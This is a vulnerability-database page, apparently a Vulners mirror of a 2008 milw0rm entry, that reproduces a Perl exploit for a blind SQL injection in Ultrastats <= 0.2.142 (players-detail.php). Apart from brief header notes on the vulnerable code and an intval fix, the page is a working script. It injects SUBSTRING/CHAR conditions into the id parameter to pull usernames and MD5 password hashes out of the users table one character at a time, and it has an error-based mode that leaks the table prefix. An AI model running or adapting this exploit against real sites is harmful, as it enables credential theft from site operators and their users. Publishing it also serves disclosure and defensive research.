Lucene search
K

Ultrastats <= 0.2.142 (players-detail.php) Blind SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

Ultrastats <= 0.2.142 Blind SQL Injection Exploit in players-detail.ph

Code

                                                #!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

#
# [!] Discovered.: DNX
# [!] Vendor.....: http://www.shooter-szene.de | http://www.ultrastats.org
# [!] Detected...: 29.06.2008
# [!] Reported...: 04.07.2008
# [!] Response...: xx.xx.2008
#
# [!] Background.: UltraStats is a very flexable log analyzing tool for Call of Duty 2 Server logfiles. 
#                  It is able to parse and consolidate the information it can gather from these logs, 
#                  and put them into a MySQL Database with a very efficient and high optimiced database 
#                  layout.
#
# [!] Bug........: $_GET[&#39;id&#39;] in players-detail.php near line 52
#                  
#                  36: if ( isset($_GET[&#39;id&#39;]) )
#                  37: {
#                  38: 		// get and check
#                  39: 		$content[&#39;playerguid&#39;] = DB_RemoveBadChars($_GET[&#39;id&#39;]);
#
#                  52:     		$sqlquery = &#34;SELECT &#34; .
#                  53:				&#34;sum( &#34; .STATS_ALIASES . &#34;.Count) as Count, &#34; .
#                  54:				STATS_ALIASES . &#34;.Alias as Aliases_Alias, &#34; .
#                  55:				STATS_ALIASES . &#34;.AliasAsHtml as Aliases_AliasAsHtml&#34; .
#                  56:				&#34; FROM &#34; . STATS_ALIASES .
#                  57:				&#34; WHERE PLAYERID = &#34; . $content[&#39;playerguid&#39;] . &#34; &#34; .
#                  58:				GetCustomServerWhereQuery(STATS_ALIASES, false) .
#                  59:				&#34; GROUP BY &#34; . STATS_ALIASES . &#34;.Alias &#34; .
#                  60:				&#34; ORDER BY Count DESC&#34;;
#
# [!] Tested on..: v0.2.136, v0.2.142
#
# [!] Solution...: no update from vendor till now
#
# [!] Quick fix..: in players-detail.php line 39:
#
#                  - replace:
#                      $content[&#39;playerguid&#39;] = DB_RemoveBadChars($_GET[&#39;id&#39;]);
#
#                  - with:
#                      $content[&#39;playerguid&#39;] = intval(DB_RemoveBadChars($_GET[&#39;id&#39;]));
#

if(!$ARGV[1])
{
  print &#34;\n                                  \\#&#39;#/                              &#34;;
  print &#34;\n                                  (-.-)                               &#34;;
  print &#34;\n   --------------------------oOO---(_)---OOo--------------------------&#34;;
  print &#34;\n   | Ultrastats &#60;= v0.2.142 (players-detail.php) Blind SQL Injection |&#34;;
  print &#34;\n   |                          coded by DNX                           |&#34;;
  print &#34;\n   ------------------------------------------------------------------&#34;;
  print &#34;\n[!] Usage: perl ultrastats.pl [Host] [Path] &#60;Options&#62;&#34;;
  print &#34;\n[!] Example: perl ultrastats.pl 127.0.0.1 /ultrastats/ -o 2 -i 123 -l 2 -t users&#34;;
  print &#34;\n[!] Options:&#34;;
  print &#34;\n       -o [no]       1 = username (default)&#34;;
  print &#34;\n                     2 = password&#34;;
  print &#34;\n                     3 = find database prefix (error based)&#34;;
  print &#34;\n       -i [no]       Valid GUID, default is 1&#34;;
  print &#34;\n       -l [no]       Limitation in sql query, -l 0 shows the first row,&#34;;
  print &#34;\n                     -l 1 the second one and so on, default is 0&#34;;
  print &#34;\n       -t [name]     Changed the user table name, default is stats_users&#34;;
  print &#34;\n       -p [ip:port]  Proxy support&#34;;
  print &#34;\n&#34;;
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $target  = &#34;username&#34;;
my $user    = 1;
my $limit   = 0;
my $table   = &#34;stats_users&#34;;
my %options = ();
GetOptions(\%options, &#34;o=i&#34;, &#34;i=i&#34;, &#34;l=i&#34;, &#34;t=s&#34;, &#34;p=s&#34;);

print &#34;[!] Exploiting...\n&#34;;

if($options{&#34;i&#34;})
{
  $user = $options{&#34;i&#34;};
}

if($options{&#34;l&#34;})
{
  $limit = $options{&#34;l&#34;};
}

if($options{&#34;t&#34;})
{
  $table = $options{&#34;t&#34;};
}

if($options{&#34;o&#34;} == 1)
{
  $target = &#34;username&#34;;
  get_username();
}
elsif($options{&#34;o&#34;} == 2)
{
  $target = &#34;password&#34;;
  get_password();
}
elsif($options{&#34;o&#34;} == 3)
{
  get_prefix();
}

sub get_username()
{
  syswrite(STDOUT, &#34;[!] Username: &#34;, 14);
  for(my $i = 1; $i &#60;= 32; $i++)
  {
    my $found = 0;
    my $h = 48;
    while(!$found && $h &#60;= 57)
    {
      if(istrue2($host, $path, $table, $i, $h))
      {
        $found = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
    if(!$found)
    {
      $h = 64;
      while(!$found && $h &#60;= 122)
      {
        if(istrue2($host, $path, $table, $i, $h))
        {
          $found = 1;
          syswrite(STDOUT, chr($h), 1);
        }
        $h++;
      }
    }
  }  
}

sub get_password()
{
  syswrite(STDOUT, &#34;[!] MD5-Hash: &#34;, 14);
  for(my $i = 1; $i &#60;= 32; $i++)
  {
    my $found = 0;
    my $h = 48;
    while(!$found && $h &#60;= 57)
    {
      if(istrue2($host, $path, $table, $i, $h))
      {
        $found = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
    if(!$found)
    {
      $h = 97;
      while(!$found && $h &#60;= 102)
      {
        if(istrue2($host, $path, $table, $i, $h))
        {
          $found = 1;
          syswrite(STDOUT, chr($h), 1);
        }
        $h++;
      }
    }
  }
}

sub get_prefix()
{
  my $ua = LWP::UserAgent-&#62;new;
  my $url = &#34;http://&#34;.$host.$path.&#34;players-detail.php?id=&#34;.$user.&#34;&#39;&#34;;
  
  if($options{&#34;p&#34;})
  {
    $ua-&#62;proxy(&#39;http&#39;, &#34;http://&#34;.$options{&#34;p&#34;});
  }
  
  my $response = $ua-&#62;get($url);
  my $content = $response-&#62;content;
  
  $content =~ /^Database error: Invalid SQL: SELECT sum\( (.*?)_aliases.Count\) as Count,/;
  print &#34;[!] Prefix: &#34;.$1;
}

print &#34;\n[!] Exploit done\n&#34;;

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $table = shift;
  my $i     = shift;
  my $h     = shift;
  
  my $ua = LWP::UserAgent-&#62;new;
  my $url = &#34;http://&#34;.$host.$path.&#34;players-detail.php?id=&#34;.$user.&#34;%20AND%20SUBSTRING((SELECT%20&#34;.$target.&#34;%20FROM%20&#34;.$table.&#34;%20LIMIT%20&#34;.$limit.&#34;,1),&#34;.$i.&#34;,1)=CHAR(&#34;.$h.&#34;)&#34;;
  
  if($options{&#34;p&#34;})
  {
    $ua-&#62;proxy(&#39;http&#39;, &#34;http://&#34;.$options{&#34;p&#34;});
  }
  
  my $response = $ua-&#62;get($url);
  my $content = $response-&#62;content;
  
  my $regexp = &#34;Top Hitlocations where you got killed by others&#34;;
  my $regexp2 = &#34;Meist genutzte Aliases&#34;;
  
  if($content =~ /$regexp/ || $content =~ /$regexp2/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2008-07-13]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation